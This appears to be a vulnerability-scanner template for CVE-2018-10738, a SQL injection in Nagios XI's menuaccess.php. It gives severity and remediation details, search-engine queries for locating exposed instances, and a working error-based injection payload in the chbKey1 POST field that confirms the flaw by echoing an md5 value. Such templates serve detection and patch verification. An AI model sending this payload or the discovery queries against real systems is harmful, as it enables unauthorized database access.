NagiosXI <= 5.4.12 menuaccess.php - SQL injection

id: CVE-2018-10738

info:
  name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
  author: DhiyaneshDk
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://qkl.seebug.org/vuldb/ssvid-97268
    - https://vuldb.com/de/?id.117807
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10738
    cwe-id: CWE-89
    epss-score: 0.41436
    epss-percentile: 0.98688
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/nagiosql/admin/menuaccess.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"